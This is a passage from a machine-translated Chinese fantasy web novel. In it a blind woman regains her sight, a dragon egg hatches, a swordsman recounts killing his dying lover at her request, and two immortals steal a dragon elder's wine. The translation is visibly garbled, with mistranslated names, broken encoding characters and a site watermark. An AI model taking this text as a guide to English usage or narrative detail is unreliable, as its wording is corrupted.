    But all these things combined couldn''t compare to Fox Ye who was smiling at her.


    She had fantasized about Fox Ye��s appearance more than once, and she had touched his facial features with her hand, so as to construct an outline in her heart.


    But how can that vague, purely imaginary image be comparable to the living person today?


    A Rou was dumbfounded.


    Hu Ye didn''t understand what it meant. Instead, she thought she might be uncomfortable. She couldn''t help shouting anxiously, "Arou? What''s wrong with you? Are you uncomfortable? Talk to me!"


    As he said, he raised his head and shouted at Xue An: "Old Xue, come and have a look, what''s wrong with Rouer?"


    But at this moment, A Rou suddenly stretched out her hand to stroke Fox Ye''s cheek. Although tears came from her eyes, she smiled and said, "I''m fine, I''m fine, just a little excited, so don''t make a fuss."


    The impatient Fox Ye calmed down instantly, but then he suddenly noticed something and his eyes gradually widened.


    "Arou, your eyes...!"


    Because he suddenly realized that Ah Rou''s eyes, which were originally dim and godless, had light at this moment.


    He could even see his figure reflected in A Rou''s pupils.


    A Rou nodded vigorously, letting tears sway freely on her face, and said with a smile: "Well, my eyes are already healed, I can see you!"


    Although it was just a very simple sentence, Huye''s eye circles gradually reddened, and then he took a deep breath, choked up and said, "Then... Am I handsome?"


    Arou smiled like a flower, "More handsome than I thought!"


    As she said, she sat up abruptly and kissed Fox Ye''s lips deeply.


    Seeing this scene, everyone present was very moved.


    Hu Ying was full of tears and whispered: "Brother, you have finally found your happiness, congratulations!"


    Fox vine looked strange, his eyes flickered, and he didn''t know what he was thinking.


    An Yan quietly blocked the eyes of the two little girls, and then watched the scene with a sigh.


    But she didn''t know that although the two quirky little girls were blocked from sight, they were talking in a low voice.


    "Wow, was that just kissing?" Nian Nian whispered.


    "Yes!" Think about it.


    "It''s so romantic!" Nian Nian couldn''t help sighing.


    "Do you know what romance is?"


    "I don''t know, but I look like I want to cry, this should be romance!"


    Despite the twists and turns, the incident ended in a happy ending.


    When Fox Ye happily lifted A Rou from the ground, Ao Qing was discussing with Xue An.


    "Master Honglian, Diliuye has been collected now, but Yi''er is unconscious, so the next step is to need Ling Qianjin''s help, otherwise the Holy Land cannot be enchanted."


    Xue An nodded, "Yes."


    Ao Qing breathed a sigh of relief. To be honest, she was really afraid that Xue An would open his mouth at this moment.


    After all, the name Xue Bapi is deeply rooted among the dragons.


    Unexpectedly, Xue An agreed so simply and without any conditions.


    Ao Qing couldn''t help being ashamed of her previous "dark thoughts".


    "Well, without further ado, we will set out to return to the ancestral land immediately."


    Naturally, there is no need for someone to stay behind in this secret realm at this time.


    Therefore, Ao Qing led the elites of the Dragon Race to clear the way, and Xue An and others followed in a star boat.


    When they left the secret realm, these monster races outside were all staring at them.


    They don''t know what happened in the secret realm.


    But they could feel the breath of Emperor Liuzhi.


    So when the dragons flew away from the secret realm with the emperor, they could only look at it with envy, but they didn''t dare to make any changes.


    joke.


    Opposite now not only the former Red Lotus Immortal Venerable, but also the strong from Qingqiu Fox Country joined.


    Such strength has exceeded the imagination of most monsters.


    If they are united, they are not without opportunities.


    But the key is that so many monster races get together, no one wants to be the first bird, so they can only watch the dragon race and the star boat of Xue An and others whizz by.


    "Damn, UU Reading Dragon Clan now has the blessing of Emperor Liuzhi, and will definitely return to the peak in the future and become the veritable No. 1 clan of the heavens." Some Yao clan said with envy and hatred.


    "There is also the Qingqiu fox country. They originally had the blessing of the three-life tree and other gods, but they actually wanted to make a move to **** the emperor''s liquid, which is really greedy.


    "The most important thing is this Red Lotus Immortal Venerable. He is the body of the human race, and Emperor Liuzhi has no effect on it. Why does he want to mix this matter?"


    "Oh, who knows! After this incident, the monster race will probably never have peace!"


    There are sighs, jealousy and worries.


    In short, the whole Yaozu was boiling over because of this incident.


    at the same time.


    Xue An and others have returned to the ancestral land of the dragon clan.


    Waiting to enter the dragon holy land again.


    Although it was only a short while away, the momentum here was even more decayed.


    Obviously leaving Ao Qing''s suppression, death here is accelerating.


    Ao Qing took a deep breath, barely suppressed the excitement in her heart, and respectfully said: "My lord, please let the daughter do it!"


    "it is good!"


    Xue An agreed still very simply and neatly.


    Then Nian Nian commanded these little elves to begin to revive the dragon''s holy land origin.


    Because of the communication of thoughts and the command of thinking, all this progressed extremely fast.


    Soon, the dragon holy land, which had been extremely decayed, showed a little brilliance.


    Ao Qing immediately put the body of her sister Ao Yi in it, preparing for the rehearsal.


    But before she straightened up, Xue An said indifferently: "Princess, now we should fulfill her promise!"


    Ao Qing was taken aback.


    At the same time, Zhang Xiaoyu, who was already going crazy, stumbled over here holding Xiaosha''s dragon egg.


    As she ran, she shouted, "Master, I brought Master Xiaosha''s egg!"

 Chapter 1843： Clean the sand

    As she was talking, she suddenly tripped under her feet, and then fell into a dog gnawing feces, and the dragon egg in her hand also let go, and slammed straight to the ground in the shape of a parabola.


    This time the audience uttered exclamations.


    But at the moment when the dragon egg was about to land, a soft tentacle suddenly appeared and caught it without any danger.


    Then Zhang Xiaoyu wiped the cold sweat on his forehead with another tentacle, got up from the ground, smiled awkwardly and said: "Mistakes, all mistakes!"


    Everyone let out a sigh of relief.


    Xue An smiled at Ao Qing: "Princess, this is my subordinate!"


    Ao Qing looked at the dragon egg with a surprised expression, and the great elder on the side also leaned in at this moment.


    "It is the genus of Flood Dragon, but it is strange that why is the dragon aura on it so strong? It also seems to have the aura of a magic dragon." The elder was puzzled.


    Xue An smiled indifferently, "This is not surprising. When I went to Lost Paradise some time ago, I killed a group of magic dragons and sacrificed their blood."


    These words were very understatement, but the Great Elder and the Dragon Clan elders trembled and swallowed their saliva subconsciously.


    The Abyssal Demon Dragon is considered a dragon in the strict sense, but because of its perverse and ruthless behavior, it was expelled by the dragon very early.


    This abyssal dragon was not an easy one, but was directly sacrificed to a group by the murderous grandfather in front of him.


    How can this not make them terrified.


    Ao Qing also retracted her gaze at this time, nodded and said, "Well, since this is Lord Honglian''s subordinate, let''s put it in the Holy Land together!"


    Zhang Xiaoyu couldn''t wait for a long time. He immediately waved his tentacles and carefully put the dragon egg into the holy ground.


    The dragon egg slowly sank into the condensed water-like brilliance, and then began to flicker slightly, as if a life was breathing.


    Zhang Xiaoyu saw tears in his eyes.


    "Boss, after waiting for so long, you are finally going to wake up! If you don''t wake up, I guess the readers will forget you!"


    Hu Ying raised her hand and knocked on her head, "What nonsense, be careful to make you fall asleep too."


    Zhang Xiaoyu hurriedly hugged his head and said with a smile on his face: "Yes, yes, sister Fox, I was wrong, I just felt it."


    At the same time, these emperor elves who had finished enlightening the holy land of the dragon race gathered together in the air, then slowly sank down and fell into a deep sleep.


    Nian Nian was a little nervous, and asked her sister in a low voice, "They will be fine, will they?"


    Think about it and shook his head confidently, "Don''t worry, they just use up the energy they carry, nothing will happen!"


    Nian Nian took a breath, patted her chest and said, "That''s good!"


    Hearing the dialogue between these two little girls, Xue An couldn''t help laughing, his eyes full of pride.


    In any case, kindness is a beautiful quality.


    Is not it?


    The Holy Land is gradually recovering. This is a major project, and naturally it cannot be completed overnight.


    What''s more, Xiaosha''s training also takes time.


    So everyone lived in the dragon clan.


    Now, the two little girls are like fish in water, they are going crazy.


    Like now.


    "Grandpa Long, how old are you?" Nian Nian asked curiously.


    Although the dragon elder was respectful and afraid of Xue An, he liked these two weird little girls very much. He couldn''t help but smile lovingly: "How old do you think I am?"


    "Hmm..." Niannian tilted her head and thought for a moment, and suddenly her eyes lit up, "Look at your beard all white, you should be a hundred years old!"


    "Nonsense!" Think about it, shook his head, and then hated that iron is not a steel road: "Dad said that dragons are very powerful and have a long lifespan, so how could Grandpa Long be only that old?"


    "How old did you say sister?"


    "I think it must be at least two hundred years old!" Thinking about it, said seriously.


    The dragon elder was also amused by the scene before him, and he couldn''t help laughing, "Yes, I am indeed more than 200 years old, so I am more accurate in guessing."


    "Wow, so the youngest?" Nian Nian opened her mouth wide in surprise.


    The dragon elder nodded with a smile, just about to speak.


    Reading the next sentence made him dumbfounded.


    I saw Nian Nian curiously and said: "Then you have lived for so long, and your beard is white. Are you about to die?"


    "Uh..." The dragon elder suddenly didn''t know what to say.


    At the same time, Hu Wan suddenly turned his head and said with a smile: "Old dragon, don''t forget the talent of this little girl!"


    As soon as this sentence came out, cold sweat oozes from the forehead of the Dragon Clan Great Elder.


    Yes indeed!


    Don''t look at the two little girls in front of them, they are as cute as jade dolls.


    But their natural ability is one by one against the sky.


    One can see through the essence of everything, and the other is able to speak and follow the law.


    If she accidentally said that she was dead, wouldn''t she be wronged?


    As soon as I thought of this, the smile on the face of the elder became stiff, "Ahhh, I suddenly thought that there is still something to be done, I will leave first!"


    After that, he turned around and fled in a hurry.


    "Sister, why did Grandpa Long suddenly run away?"


    "Who knows Maybe you got it right. I feel like I''m running out of time!"


    The great elder who had fled to the distance felt cold for no reason, and almost fell from the air.


    "It''s boring, let''s go find Big Fatty to play!" Niannian said with a pouting mouth.


    The two little girls just wanted to find the little fox.


    But at this moment, I heard a roar full of anger and despair.


    Immediately afterwards, a white light flew to the front and jumped directly on the shoulder of the fox vine.


    It was the little fox.


    It''s just that this little fox at this time has lost its former style, and his beautiful hair is drooping, and the eyes of a pair of foxes are full of grief and anger.


    "What''s the matter?" Huwan couldn''t help being a little surprised.


    To be her pet is naturally unique.


    It can be said that apart from being unable to transform, this little fox is not inferior to ordinary true immortal powerhouses.


    The little fox groaned very aggrievedly, but before he could finish speaking, a golden light suddenly flashed, and then a plump golden koi appeared in front of everyone.


    "Ball ball?" The two little girls exclaimed at the same time.


    That''s right.


    The koi that appears here is the spirit of Fu Bao Xiaolou, the magical rune ball.


    After seeing the ball, the little fox''s fur all over exploded, and there was a low warning roar in his throat.


    But this rune ball simply ignored these, or it might not understand the meaning of these actions at all.


    Facing the warning from the little fox, he hummed a few times in surprise, and then floated over.


    The little fox jumped up and tried to avoid it.


    But no matter how fast it is, it can''t be compared to a ball that has no physical restrictions at all, because it is transformed by a magic rune.

 Chapter 1844： No love

    So just as the little fox jumped into the air, the ball had already rushed to the front, and then hit each other heavily.


    The little fox is very strong, but reluctantly all his attacking moves are ineffective on the ball, so he is easily knocked out by the ball with absolute weight.


    Then another golden light flashed, and the little fox was hugged by the ball before he landed.


    That''s right!


    A fox is held in his arms by a koi carp with its fins. This picture is incongruous.


    Not only that, the ball also rubbed the little fox''s hair with his big head, while humming very comfortably.


    The little fox wanted to break free but couldn''t break free, and the counterattack was also ineffective, so his eyes couldn''t help but be full of unlovable colors.


    Everyone looked at this scene with a smile, even the fox shook his head and chuckled, and then looked at Xue An thoughtfully.


    Do pets have such a personality? Haven''t heard of anyone in the heavens who keeps magic runes as pets.


    This man is really full of mysteries!


    In the next few days, everyone lived together harmoniously and friendly.


    Except for the occasional screams of the little fox and the elders of the dragon race chasing by two little girls running all over the sky, everything is so beautiful.


    As for why these dragon elders were chased by two little girls around the world...


    "Grandpa Long, let us pull out one beard, just one!" Nian Nian shouted.


    "No one will work, this is the dragon''s beard that the old man has carefully taken care of for thousands of years!" The dragon elder dared not even turn his head, shouting and fleeing away.


    "Ball, come here!" Thinking about it, shouted straightly and neatly.


    The magic rune koi, which was "sucking foxes" on the ground, flew up immediately after hearing the words, picked up the two little girls, and chased them to the fleeing dragon elder.


    For a time, the entire dragon clan can be said to be like a joke.


    Countless dragon elders couldn''t help lamenting.


    Unexpectedly, Xue An wouldn''t cause trouble now, but replaced with two more lethal little girls.


    In this regard, Huye and Huwan showed the consistent stance of Qingqiu Fox Country, which is absolute neutrality.


    In fact, Huye now has no extra time to take care of other things.


    At this moment, he has completely fallen into the ocean of love, sweet and unable to extricate himself.


    The two were glued together like paint, wishing to see each other every second.


    This atmosphere that is enough to torture single dogs naturally makes other people retreat.


    "Rouer, when the matter here is finished, I will take you back to Qingqiu Fox Country, apply to the elder, and then marry you! When Old Xue got married, there was a big battle, of course I Don''t be inferior to him, it will definitely give you an unprecedented wedding." Hu Ye said vowedly.


    "Actually, it doesn''t need to be so troublesome!" Arou whispered, the shadows of Fox Night in the cut water pupils, "As long as I can be with you, I don''t need anything."


    "No, as the woman of my Fox Ye, how could you be so shabby? I must tell the world so that everyone knows about your existence." Fox Ye said arrogantly.


    The happiness in A Rou''s eyes was overflowing, but soon she thought of something again and slowly lowered her head.


    "But my identity..."


    "What''s wrong with your identity? Don''t worry! Everything has me!" Hu Ye said seriously.


    A Rou nodded slightly.


    Despite this, her heart still felt empty.


    She knew very well that although her eyes were good, she was just a mortal woman at best.


    But the identity of Fox Ye is the heir of the noble Tianhu clan.


    This gap is countless times greater than the emperor and the beggar.


    How can you make her not feel inferior?


    Alas, I��m all to blame for my poor talent, otherwise the enlightenment of the emperor''s fluid can not only heal my eyes, but also transform me into a monster race.


    At that time, he should be worthy of him!


    At this point, Arou couldn''t help sighing secretly.


    At this moment, she suddenly felt itchy behind her ears, so she raised her hand and scratched it.


    what!


    Why is the skin here a bit hard?


    This thought flashed in A Rou''s heart, but he didn''t care too much.


    Maybe it''s a small bag.


    Just when it was very lively outside.


    Among the tea pavilions.


    Xue An was sitting in a chair, making tea.


    After a series of operations, the refreshing fragrance of tea began to permeate.


    But Xue An was the only one in the tea pavilion at this time.


    Ao Qing was busy dealing with the Dragon Sacred Land, so naturally she could not accompany her.


    Although the third princess Ao Shu was willing to accompany Xue An, Ao Qing walked around and brought him by her side, not allowing her to leave for a moment.


    An Yan is looking after the two little girls.


    Anyway, it''s quiet here.


    In front of Xue An, there are two sets of tea sets, as if waiting for someone to arrive.


    at last.


    When Xue An picked up the teapot and poured tea into the two teacups.


    An imperceptible sword light flew across the sky at an incredible speed, and then landed on the opposite side of Xue An.


    Amazingly, it was Li Jingxing, the master of the sword palace.


    It''s just that Li Jingxing at this time is different from before.


    Although he was vigorous before, his eyes always seemed muddy.


    At this time, his eyes were as clear as ice and jade.


    Xue An didn''t even lift his eyelids, and said lightly: "Sit down, the tea has just been cooked."


    Li Jingxing smiled freely and sat directly opposite Xue An.


    Then Xue An handed over the tea cup.


    Li Jingxing took it with both hands, took a sip, and then exclaimed, "Good tea!"


    "Of course it''s a good tea. This is the nine-turn Lingwu tea I picked out from Zhuge Zang."


    Li Jingxing put down his teacup and said with a look of surprise: "Have you seen Zhuge Zang?"


    "Of course I have seen him, and I have seen not only him, but also Chu Wuxiang Ye Hanshang and others!"


    Then Xue An recounted what happened on the earth.


    After listening, Li Jingxing was silent for a moment, then nodded, "It''s a pity that I isolated all the news at the time and couldn''t rush over."


    "Okay, it''s just a little quasi-immortal emperor. You can''t do it!" Xue An smiled.


    Li Jingxing took a deep look at Xue An, and couldn''t help but said: "Strange, if someone else speaks in this tone, I will definitely think he is bragging. I think it''s normal if you say that alone!"


    "Of course, I am a dignified fairy!"


    "I said it used to be!"


    "Hey, you are starting to poison your tongue again!"


    After that, the two looked at each other, and then laughed.


    Amidst the laughter, Li Jingxing raised his tea cup and said sincerely, "Thank you!"


    Xue An waved his hand, "You are polite, why? Is it buried?"


    Li Jingxing nodded, "Hmm!"


    As he said, he drank the tea in the cup and said with a sigh: "I buried her in her hometown. That planet is already deserted, so I transformed it, especially full of it. Phoenix, because I know, her favorite is this kind of flower."

 Chapter 1845： Silence is the greatest respect

    Xue Jingjing listened quietly, but did not speak.


    Li Jingxing smiled bitterly at him, "Am I stupid like this?"


    "Of course not!" Xue An said very seriously, and then filled Li Jingxing with tea.


    "Speak up, if you want."


    Li Jingxing picked up the tea cup and looked at the floating and sinking tea leaves in the cup with blurred eyes. After a long silence, he said softly.


    "I think you should have guessed that she is the survivor of the Phoenix clan. In fact, by her generation, she is the only one left in the Phoenix clan."


    "When I met her at the time, she was only seventeen or eighteen years old if she followed the standards of the human race, which is an innocent age."


    "But she is so different, especially her eyes, which seem to see everything through and are full of guard against everything, both strong and fragile."


    Speaking of this, nostalgia appeared on Li Jingxing��s face, ��I was hit when I saw her at the first sight. There was a voice in my heart that told me to protect her, even at any price. Don''t hesitate."


    Li Jingxing laughed at himself and said to Xue An, "Isn''t it ridiculous?"


    Xue An sighed softly, "Of course not!"


    In fact, Xue An understands this feeling very well.


    Because sword repair requires a clear heart and no distracting thoughts, it is only if you are not emotional, and it is easier to go to extremes when emotional.


    There was light in Li Jingxing''s eyes, "That was my happiest time, even if I just saw her every day, it made me feel that everything was given meaning again. If the story continues like this, how great it would be!"


    Li Jingxing''s expression became dim, "Also, she always came off guard. On that day, she suddenly broke up with me. I don''t know why, because she was fine the night before. I asked her and she didn''t speak. , Just looked at me with cold eyes!"


    "In despair, I left angrily. I was so stupid at the time. I didn''t understand why she did it. I didn''t know until later..."


    Li Jingxing''s voice became weird, it seemed to be choking, and it seemed to be full of deep hatred.


    "She actually carried a terrible curse on her back, so she deliberately angered me away in order not to worry me."


    "After knowing the truth, I went to her almost crazy, and finally found her in a deserted planet. She was extremely weak at the time, but after seeing me coming, she still struggled to tell me A word. Do you know what it''s talking about?"


    Xue Jingjing shook his head silently.


    "She said, you are so stupid. I let you go because I don''t want you to see me dead. Why do you do this?"


    There were tears in Li Jingxing''s eyes.


    "After saying this, she fainted. I was completely crazy at the time. I tried all the methods I knew, but still couldn''t get rid of the curse on her. Later I learned about this curse. It comes from her own blood, which means that the entire Phoenix clan has been cursed. This is why the Phoenix clan suddenly died out."


    "Finally, I thought of a way to build the Bone Sword Mountain on a lifeless planet, through this to isolate the curse, and try to delay her injuries."


    "But everything is just delayed. I can only watch her injuries continue to heal day by day. From the beginning, she was in a coma for an hour every day, until she was in a coma almost all day. A request was made to me when I was sober."


    At this point, Li Jingxing could no longer speak, because tears had quietly covered his cheeks.


    Xue An silently filled the tea, placed it in front of Li Jingxing, and then whispered: "She asked you to kill her?"


    Li Jingxing nodded and choked: "She said that she was living too hard and she has to endure endless pain every day. What makes her unbearable is the loneliness in her blood, so she now only wants to die quickly. "


    "You don''t know the eagerness in her eyes when she said this, so I strangled her to death by myself!"


    When he said this, Li Jingxing''s tone became calm, and he said without a wave of waves: "At the moment she was dying, her eyes suddenly released a strange brilliance, as if finally liberated, full of infinity. Joy."


    "She died, strangled to death in my arms by my own hands."


    The sound of boiling water in the teapot can be heard quietly in the tea pavilion.


    Xue An looked at the man with his head down with sympathy.


    He couldn''t empathize, but just thinking about that scene made him feel cold, so he could only be silent.


    Because at this moment, only silence is the greatest respect.


    "Later, I tried all kinds of ways to resurrect her, even mixed my flesh and blood with her to catalyse her, trying to give birth to our child, but in the end it just created a pair of thin-blooded fakes. It''s just a phoenix! This is the twin phoenix you see!"


    "At that time, I was completely desperate, and even prepared to stay with her for the rest of my life like this. But at this moment, I felt the appearance of Diliuzhi. I knew that Diliuzhi had various magical effects, so I didn��t care about everything He rushed over! You know what happened later Xue An nodded.


    Li Jingxing smiled, "Do you know why I finally gave up?"


    "Because what Ling Qianjin said is right, my self-righteous kindness is actually the most cruel to her!"


    "All her people have died. She is the only one left in the whole world. Coupled with the torture of the curse, she may not want to live anymore. It is because of my ridiculous persistence that she has to bear it for a few more years. Torture, I''m such a bastard!"


    Speaking of this, Li Jingxing began to smash his head.


    Xue An raised his hand to stop him, and sternly shouted: "Enough! Is it possible for you to suffer from self-torture like this? What you should think about now is how to avenge her!"


    "Vengeance?" Li Jingxing was startled, raised his head and looked at Xue An blankly.


    "Yes, it''s revenge! Didn''t she die because of the curse? Then you have to figure out who cursed the Phoenix clan, and then unearth him to avenge your woman and the entire Phoenix clan!"


    After Li Jingxing heard the words, his eyes brightened, and his whole body began to tremble, "Yes! I should take revenge! It was not I who killed her, but the cursed guy who killed her!"


    He muttered idiotically, suddenly raised his head and said to Xue An with a sincere expression: "Thank you for your reminder, I understand!"


    Xue An couldn''t help letting out a sigh of relief. He was really worried that Li Jingxing would go to extremes due to excessive stimulation.


    After all, with his kendo cultivation base, once he goes crazy, the storm that will be set off will be unimaginable.


    Li Jingxing finally let go of his heart knot, and his whole aura eased.


    If the previous Li Jingxing was like an unsheathed sword, although it was unparalleled in its sharpness, it was easy to injure others and himself, then the current Li Jingxing had already returned to its sheath with a sharp sword, and his aura became warmer.

 Chapter 1846： What about drinking people, can that be stealing? ...

    "Come on, have tea!" Xue An smiled.


    Li Jingxing shook his head, "This tea is good, but it''s too weak, is there any wine? You and I have a few drinks!"


    "want to drink?"


    "of course!"


    Xue An suddenly smiled with some chicken thieves, "I do have wine on my body, but they are all mundane things, I guess you won''t be able to buy them, but I know where there is good wine!"


    Li Jingxing''s eyes lit up, "Oh? Where?"


    Xue An chuckled, "As far as I know, this dragon elder is usually the best drinker. In his identity, there must be a lot of fine wine buried in his lair!"


    Li Jingxing frowned when he heard the words, "But I have nothing to do with this dragon elder? You know, the dragon is a famous stingy among the heavens. If you just ask him for it, he can Give it?"


    Xue An shook his head, and said with a mysterious face: "Who said I want to ask him?"


    "Then you mean..."


    "Now this dragon elder has been busy with the Holy Land, so his lair must be weak in defense. With your strength, it shouldn''t be difficult to sneak in and get a few bottles!" Xue An said with a smile.


    Li Jingxing''s eyes widened, "You mean... stealing?"


    Xue An drank the tea in the cup and said lightly: "Old Li, you really don''t speak well, can stealing alcohol be called stealing?"


    "What''s that called?"


    "That''s a very elegant thing called stealing and getting drunk, how can you describe it as stealing?"


    The expression on Li Jingxing''s face gradually changed to this, ������;


    Finally he sighed and stretched out his thumb.


    "Xue An, I have never admired anyone so much. You are the first one."


    "Hahaha, just get used to it, you will admire me more and more in the future. Let''s go and steal this drunk with me."


    In the end, Li Jingxing really followed Xue An to the Lair of the Dragon Clan Great Elder.


    One is Sword Xiu Immortal Emperor, and the other is Reincarnated Immortal Venerable. With the strength of the two of them, not to mention that the Great Elder is not there, it is impossible to find it even in estimation.


    Ever since, the two sneaked in easily.


    As Xue An said, the wine inside can be described as a dazzling array of everything, including many rare treasures.


    For example, the monkey wine brewed by the sacred monkey demon clan is the top wine that is famous in the heavens.


    The two were not welcome and swept away these fine wines.


    That''s not even counted, Xue An even took away the precious ingredients that the great elder had hidden away.


    In Xue An''s words, these gangsters don''t even know how to cook, and they can only swallow everything they eat raw, leaving them with these ingredients is a waste.


    In the end, the two returned with a full load and returned to the tea pavilion.


    Xue An even thoughtfully added a barrier to the tea pavilion to prevent the taste of wine and vegetables from escaping.


    After all this was done, Xue An began to personally cook these ingredients.


    Now that he is in his current position, he naturally doesn''t need to use any other cooking stoves. Although Honglianye''s fire cooking is a bit wasteful, the taste of the cooked food is unique.


    Therefore, a table of good dishes was placed in front of Li Jingxing, despite the tea scene.


    Because the ingredients are the top-notch, coupled with Xue An��s cooking, these dishes exude a dizzying aroma.


    It is not an exaggeration to say that ordinary people can go straight into the happy state just by smelling a bite.


    And after the seal on the bottle was lifted, a strong aroma of wine rose to the sky, and then mixed with the aroma of these foods, stimulating each other, unexpectedly all sorts of illusions were created.


    Li Jingxing couldn''t help but slap his tongue when he saw this, because even he seldom saw such a miraculous scene.


    "Come on, toast first!" Xue An smiled.


    Li Jingxing nodded, and the two drank the wine in one go.


    As soon as the monkey wine entered his throat, it immediately turned into a line of fire and went straight into his belly. Then the cells all over his body cheered for it, and gave Lingling a chill.


    "Good wine!" Li Jingxing couldn''t help sighing.


    "The key is that there is still a smell of thieves, and you don''t have a taste to drink." Xue An smiled.


    Li Jingxing couldn''t help but feel embarrassed. He was still a little embarrassed to face the fact that he had become a thief, so he could only divert the topic.


    "Xue An, I actually have one more thing this time."


    "Oh? What''s the matter!" Xue An dealt with the food without raising his head.


    "I want to accept your eldest daughter as a disciple!"


    As soon as this remark came out, Xue An almost choked, drank a few sips of wine before swallowing, and then looked at Li Jingxing with surprise.


    "You mean to think about it?"


    "Yes! That''s the little girl who is very opinionated." Li Jingxing said with a look of appreciation.


    Xue An said with a faint smile: "Why, do you think my red lotus sword intent can''t beat you?"


    "of course not."


    "Then why do you have this idea?"


    "I really like the character of this little girl. When faced with my pressure, I dared to speak up, and even persuade me logically and clearly. This kind of straight-forward character was originally the most suitable for swordsmanship, plus..."


    "Plus her talent to see through the falsehood and point to the essence of things, it''s more suitable for swordsmanship, right?" Xue An said lightly that''s right! I am really optimistic about her talent, because it is the most heaven-defying talent I have seen in so many years of cultivation, and if used well, it is even more powerful than your second daughter''s utterance. "


    "So I want to accept her as a disciple and be my closed disciple. Don''t worry, I will give all my skills and even let her be the master of the sword palace in the future. What do you think?"


    Xue An did not speak, but bowed his head and sipped a glass of Chinese wine.


    Li Jingxing looked at him quietly.


    at last.


    Xue An raised his head and sighed, "Old Li, what do you think of my Red Lotus sword intent?"


    "The world is extraordinary!"


    "How about you?"


    Li Jingxing was silent for a moment before saying, "If you are in full bloom, I will not be your opponent."


    "Then do you think I don''t know the talent of my daughter?"


    "Nor!"


    "In that case, do you know why I didn''t start teaching them to practice?"


    "Why?" Li Jingxing''s expression became serious, waiting for Xue An''s answer.


    "Because I want them to have a happy childhood!"


    Li Jingxing calculated thousands of possibilities, but never thought it would be the answer. He couldn''t help but widen his eyes, and said in surprise, "Because of this?"


    "Because of this!"


    Li Jingxing was completely speechless, because he really couldn''t understand Xue An''s thoughts.


    You must know that in the heavens, in order to be strong, people simply do everything.


    In particular, the offspring of those strong men are cultivated from the moment they are born, and when they show a little special talent, they immediately start to pile up with massive resources.


    The purpose is to enable future generations to become strong.


    Even those with mediocre aptitudes are using their own efforts to bridge the gap as much as possible.

 Chapter 1847： Xiaosha wakes up

    It can be said that countless people dream of such a talent that is such as missing.


    Even some people are willing to pay any price for this.


    But Xue An was not in a hurry, and even said something to give them a happy childhood.


    This made Li Jingxing wonder if Xue An''s mind was confused.


    "Ahem, Xue An, you used to be Immortal Venerable, you should know better than me how sinister these heavens are?"


    "Besides, if such a good talent is not cultivated as soon as possible, it is simply the biggest waste. Are you still prepared to bless them for a lifetime"


    Li Jingxing began to persuade with all his heart.


    Xue An shook his head with a faint smile, "I understand what you said, but I still think that people have only one childhood, so that they can spend happily and happily, leaving a beautiful memory, which is better than remembering later. All boring cultivation is better, let alone..."


    Xue An''s expression was a bit sad, "My father was absent from the time they were born until they were four years old. At that time they suffered a lot of grievances, so I want to double, no, ten times the compensation back!"


    Seeing Xue An''s guilty look, Li Jingxing, who was about to continue persuading, was startled, and then swallowed the rest of the words back.


    "Well, your idea is not wrong. But think about this girl I really like it, otherwise, how about I first accept her as a named disciple?"


    Li Jingxing was still not ready to give up.


    Xue An laughed when he heard the words, "Do you want to accept my daughter as a disciple?"


    "Ok!"


    "Okay, you are also an immortal emperor anyway, and being the named master of my daughter is barely qualified."


    Li Jingxing almost vomited blood when he heard this.


    When was the Emperor Immortal already so worthless?


    He was on the pole and begged to accept an apprentice, but when it came to Xue An, he could only be considered barely qualified?


    But just to think about it, he closed his mouth.


    At this moment, Xue An stretched out his hand in front of him, "Get it!"


    "Take what?"


    "Nonsense, of course it is a gift! Who can not give the apprentice a gift when accepting them?" Xue An said with a bright smile.


    Li Jingxing: "..."


    Then he gritted his teeth and said: "I suddenly understand why the Dragon Clan calls you Xue Bapi. You really have plucked your hair!"


    With that said, he bitterly took out something and put it in Xue An''s hands.


    "Thanks for the award, I will first see what I gave, if it is not precious enough, I won''t agree." Xue An said with a smile, then looked down at the things in his hands.


    This is a long and thin sword with a bright red body. It looks a little inconspicuous at first glance, but when you stare carefully, there is a bitter sword intent that strikes your face, making people shudder.


    Xue An''s face couldn''t help showing surprise.


    Li Jingxing said: "How is it? Precious enough!"


    Xue An nodded, and then cherished the small sword away.


    Because this seemingly inconspicuous little sword was formed by Li Jingxing based on his own kendo cultivation.


    It can be said that this small sword has the full blow of an immortal emperor, and its preciousness can be imagined.


    "It seems that you are really sincere!"


    "Nonsense, are you kidding me about this?"


    Then the two looked at each other and laughed together.


    After laughing, the two drank happily and talked about the past and the present.


    at last.


    The two of them drank all the wine they had searched from the elder, and even with their amount of alcohol, they were three points drunk at this moment.


    Xue An said: "Where are you going next?"


    "Go back to the sword palace first, after all, after three years of absence, I have to go back and have a look!"


    Xue An nodded, "Yes, your disciples have been looking for you, so it''s time to go back and take a look!"


    Speaking of this, Xue An suddenly remembered something, and couldn''t help but smile violently, "When the news of your return spreads, a woman should come to you."


    "Who?" Li Jingxing asked with a look of surprise.


    "Hey, I can''t say it yet, you will know it then!" Xue Anshen said mysteriously.


    "It''s so mysterious, it''s boring, I''m gone!"


    With that said, Li Jingxing stood up, his expression suddenly becoming very serious.


    "Xue An, I have something to tell you in advance!"


    "Say!"


    "Your return is something that many people don''t want to see, especially beware of those who have been loyal to you."


    Xue An''s eyes grew cold when he heard the words, "I understand this."


    "It''s good if you understand, there will be a period later!"


    After that, Li Jingxing turned into a sword light and rose into the sky, and disappeared into the vast sky in the blink of an eye.


    Xue An leaned back in the chair lazily, slowly drank the wine in the glass, his eyes gradually brightened, and then chuckled.


    "Are you betrayed? It seems...I was really too generous at the time!"


    This wine finally put Xue An into a deep sleep.


    At the same time, the great elder who had been busy for a day also dragged the exhausted dragon body back to his lair.


    But as soon as he entered the lair, he noticed something strange.


    "Huh? There is an unfamiliar breath, someone has been here?"


    Then the great elder thought of something and immediately ran into his treasure room.


    After a while, a stern and miserable howl shook the clouds.


    "My wine!"


    The big elder who would cry out without mentioning the distressed, in that holy land, Xiaosha''s dragon egg suddenly began to flicker, and at the same time there were tiny cracks on it.


    The brilliance of the Holy Land also boiled.


    This scene immediately shocked Zhang Xiaoyu, who was waiting by the side. She stood on the edge of the holy land looking expectantly.


    The crack on the dragon egg began to expand gradually.


    Finally, after a loud noise, a brilliance rose from the holy ground, and when it flew into the air, it was a pocket-sized five-clawed golden dragon.


    Then this five-clawed golden dragon screamed up to the sky, but unfortunately the voice was not as majestic as imagined. On the contrary, it was like a newly born baby proclaiming his own existence.


    Then the five-clawed golden dragon fell on the ground, and after a burst of brilliance, it turned into a human form.


    Octopus'' eyes gradually widened.


    Because what appeared in front of her was not the Xiao Sha in the memory, but a pink, white and tender little loli who could almost turn people off.


    This little loli first looked around for a while, and then said to Zhang Xiaoyu: "Just you? Where''s the master?"


    Zhang Xiaoyu stared blankly, and suddenly laughed.


